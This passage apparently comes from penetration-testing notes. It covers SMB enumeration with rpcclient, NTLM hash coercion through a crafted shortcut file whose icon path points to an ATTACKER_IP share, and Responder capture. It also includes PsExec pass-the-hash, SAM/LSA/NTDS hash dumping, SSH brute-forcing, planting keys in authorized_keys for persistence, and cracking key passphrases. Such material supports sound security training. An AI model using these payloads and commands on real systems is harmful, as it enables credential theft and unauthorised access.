type: 0x8004: SEC_DESC_DACL_PRESENT SEC_DESC_SELF_RELATIVE
DACL
ACL Num ACEs: 2 revision: 2
---
ACE
type: ACCESS ALLOWED (0) flags: 0x03 SEC_ACE_FLAG_OBJECT_INHERIT SEC_ACE_FLAG_CONTAINER_INHERIT
Specific bits: 0x1ff
Permissions: 0x1f01ff: SYNCHRONIZE_ACCESS WRITE_OWNER_ACCESS WRITE_DAC_ACCESS READ_CONTROL_ACCESS DELETE_ACCESS
SID: S-1-5-32-544
ACE
type: ACCESS ALLOWED (0) flags: 0x03 SEC_ACE_FLAG_OBJECT_INHERIT SEC_ACE_FLAG_CONTAINER_INHERIT
Specific bits: 0x1ff
Permissions: 0x1f01ff: SYNCHRONIZE_ACCESS WRITE_OWNER_ACCESS WRITE_DAC_ACCESS READ_CONTROL_ACCESS DELETE_ACCESS
SID: S-1-1-0
Owner SID: S-1-5-21-790304770-1385196242-1780550448-500
Group SID: S-1-5-21-790304770-1385196242-1780550448-513
User Enumeration
enumdomusers enumerates local users.
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[DefaultAccount] rid:[0x1f7]
user:[Guest] rid:[0x1f5]
user:[WDAGUtilityAccount] rid:[0x1f8]
queryuser <RID> provides information on a specific user. The <RID> argument should be in the hexadecimal format provided in the output of enumdomusers command.
rpcclient $> queryuser 0x1f4
User Name : Administrator
Full Name :
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description : Built-in account for administering the computer/domain
Workstations:
Comment :
Remote Dial :
Logon Time : Tue, 24 Jun 2025 21:12:28 CDT
Logoff Time : Wed, 31 Dec 1969 18:00:00 CST
Kickoff Time : Wed, 13 Sep 30828 21:48:05 CDT
Password last set Time : Fri, 06 Jun 2025 15:18:17 CDT
Password can change Time : Fri, 06 Jun 2025 15:18:17 CDT
Password must change Time: Wed, 13 Sep 30828 21:48:05 CDT
unknown_2[0..31]...
user_rid : 0x1f4
group_rid: 0x201
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x0000000a
padding1[0..7]...
logon_hrs[0..21]...
Domain Enumeration
lsaquery retrieves the Active Directory domain name and its Security Identifier (SID)
rpcclient $> lsaquery
Domain Name: GUNDAM
Domain Sid: S-1-5-21-790304770-1385196242-1780550448
We can also find the SIDs of individual users with the lookupnames <username> command. Conversely, we can lookup the name of a SID with the lookupsids <SID> command.
rpcclient $> lookupnames char.aznable
char.aznable S-1-5-21-2157690859-2819111861-1098670742-1000 (Local Group: 4)
rpcclient $> lookupsids S-1-5-21-2157690859-2819111861-1098670742-1000
S-1-5-21-2157690859-2819111861-1098670742-1000 MSN-04-SAZABI\Char.Aznable (4)
SMB Attacks
This section deals with attacks that we can carry out using SMB. Note that some techniques here require at least local admin privileges.
Shortcut Icon NTLM Coercion (CVE‑2025‑50154)
Windows Explorer renders shortcut icons automatically. If the icon path specified in a shortcut is a link to a SMB share, Windows Explorer will automatically attempt to connect to the share to grab the icon.
An attacker can craft a malicious internet shortcut file (.url or .lnk extension) to steal NTLM credential of any user visiting the folder containing the shortcut. Below is a minimalist payload sample:
[InternetShortcut]
URL=placeholder
WorkingDirectory=placeholder
IconFile=\\<ATTACKER_IP>\share\icon.ico
IconIndex=1
If an SMB share is visited regularly by users on a network and we have write access to it, we can place the shortcut file to the share and launch Responder to coerce NTLM authentication for the incoming SMB connections.
sudo responder -I <INTERFACE> -v
Eventually, when a user visits the share and their Windows Explorer attempts to render the icon, we will be able to coerce NTLM authentication and capture their NetNTLMv2 hash in our Responder.
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.39.50
[SMB] NTLMv2-SSP Username : BREACH\Julia.Wong
[SMB] NTLMv2-SSP Hash : Julia.Wong::BREACH:<REDACTED>
[...]
After capturing the hash, we can either attempt to crack the hash or relay it to other SMB servers.
hashcat -m 5600 -O <NTLMv2-FILE> <WORDLIST>
Note
Of course, this attack also works for local file paths as long as more than one user visits the path regularly.PsExec Remote Code Execution
PsExec was originally a utility part of the Windows SysInternal suite that allows Administrators to execute command remotely by deploying a Windows Service image on the target’s SMB share (admin$ by default) and starts the PsExec service, which creates a named pipe that can send command to the system. Note that Administrator-level privilege on the target is needed to use PsExec.
Attackers can also abuse this mechanism to get code execution. PsExec is implemented in the Impacket Library, Netexec, and Metasploit. Below is an example of using Impacket psexec.py:
psexec.py <USER>:<PASS>@<HOST>
Pass-The-Hash can also be used if we have the NT hash of the admin user:
psexec.py <USER>@<HOST> -hashes 00000000000000000000000000000000:<NT_HASH>
Hash Dumping
With local admin privileges, we can use NetExec to dump hashes in SAM, LSA, and NTDS.dit if we have access to a domain controller as a domain admin.
SAM dumping:
nxc smb <HOST> -u <USER> -p <PASSWORD> --sam
LSA dumping:
nxc smb <HOST> -u <USER> -p <PASSWORD> --lsa
NTDS.dit (on DC with Domain Adimin access):
nxc smb <HOST> -u <USER> -p <PASSWORD> --ntds
5 - SSH
Service Info
- Name: Secure Shell (SSH)
- Purpose: Encrypted network protocol
- Listening port: 22 (TCP)
- OS: Unix-Like (more commonly), Windows
SSH is an ecrypted network protocol that is often used for secure network management, file transfer and tunneling that replaced unsecure protocol such as Telnet, Berkeley R-Suite protocols.
The most commonly used SSH software is OpenSSH, which is developed by the OpenBSD developers. OpenSSH supports many authentication methods, including password and public-key authentication.
Attack Flow
- Identify SSH Version
- Check for if password login or public-key authentication is enabled
- Find SSH keys in other attack surfaces and use them to login
- If key protected by passphrase, try cracking with John the Ripper
- Leverage file read vulnerabilities to read existing SSH keys or leverage file write vulnerabilities to write your own.
- Login brute-forcing
- Password spray/Credential stuff other valid credentials on the network if password login is enabled.
- Try working SSH keys on other hosts if public-key authentication enabled.
Footprinting
Nmap Scan
sudo nmap -A -p22 <host>
By default, OpenSSH allows plaintext password authentication, however, it’s considered best practice to use only public key authentication and disable login for root user.
We can see what login options are available by using the -v flag during login.
$ ssh -v brian@10.0.0.1
OpenSSH_8.2p1 Ubuntu-4ubuntu0.3, OpenSSL 1.1.1f 31 Mar 2020
debug1: Reading configuration data /etc/ssh/ssh_config
[...]
debug1: Authentications that can continue: publickey,password,keyboard-interactive
To force the server to use password authentication, we use the -o flag to specify option PreferredAUthentications.
ssh -v <user>@<host> -o PreferredAuthentications=password
Brute Forcing
We can use hydra to brute-force login.
- Use
-lto specify username or-Lto specify a username list. - Use
-pto specify password or-Pto specify a password list. - Use
-Mto specify a list of targets
hydra -L user.txt -p "password" ssh://10.0.0.1
Alternatively, we can also use hydra -C to credential stuff the SSH service with valid credentials we found elsewhere. We need to provide the filename of a list of colon separated credentials (username:password).
hydra -C creds.txt ssh://10.0.0.1
SSH Key
OpenSSH can be configured to use public-private key to login. To use public key login, the client must generate its own public-private key pair and share ONLY the public key to the server. During authentication, the server generates a cryptographic problem using the client’s public key and sends it to the client. If the client can successfully decrypt the problem and send back the solution, the client is authenticated and granted access.
Currently, OpenSSH supports 4 common types of SSH keys:
- RSA
- Ed25519
- ECDSA
- DSA
To generate our own SSH keys, we can use the ssh-keygen utility, which prompts us for the key file path and an optional passphrase. The utility will generate a private key with the original provided filename, and a public key with a .pub extension.
$ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/brian/.ssh/id_ed25519): ./key
Enter passphrase for "./key" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./key
Your public key has been saved in ./key.pub
The key fingerprint is:
SHA256:AjsqBEqppqzzy3DrVFckr0bayBOQTgGarFeOtHvuZro brian@rx-93-nu
The key's randomart image is:
+--[ED25519 256]--+
|..oo . . |
|o.+. + |
|+*. + . o |
|*..* O o |
|+o+ X * S |
|=. + = . |
|+.= . |
|o* +o |
|.+EBo |
+----[SHA256]-----+
$ ls -l
total 8
-rw------- 1 brian wheel 411 Dec 4 12:40 key
-rw-r--r-- 1 brian wheel 96 Dec 4 12:40 key.pub
By default, ssh-keygen generate keys using the ed25519 protocol. We can use the -t argument to specify the algorithm of public key we want to generate. The available options are:
ecdsaecdsa-sked25519ed25519-skrsa
ssh-keygen -t <algorithm>
Use -i option for ssh to specify the path of the private key file.
ssh -i <key> <user>@<host>
Adding Generated SSH Public Key to Server
If we have file write ability to the server, we get access to SSH login by appending our public key to a user’s $HOME/.ssh/authorized_keys file.
This can either give us initial access from a arbitrary file write or establish persistence on an already compromised system.
echo "<public_key>" >> $HOME/.ssh/authorized_keys
Then we can use the associated private key to login.
Reading SSH Private Keys
If we found a file read vulnerability, we can use it to read the user’s SSH private keys. Users’ SSH private keys are stored on in $HOME/.ssh/ directory, and can have one of the following default filenames, each corresponding to the public key encryption protocol they use:
id_rsaid_ed25519id_ecdsaid_dsa
After reading the key and saving it to a file, the SSH client requires the permission on the file to be 600 (owner read-write only) before using it to login.
chmod 600 <ssh_key>
SSH Key Passphrase Brute Forcing
SSH private keys may be protected via a passphrase. We can use John the Ripper, a CPU-based password cracker to recover the passphrase.
We can first obtain the password hash by using the ssh2john script included in the John the Ripper Jumbo version, then use john to crack it.
ssh2john my_ssh_key > ssh_hash.txt
john --wordlist=wordlist.txt ssh_hash.txt
File Transfer
See the article on SSH File Transfer for more details.
References
- Filenames of private SSH keys are obtained through ChatGPT.
- Use John the Ripper to Crack SSH Private Keys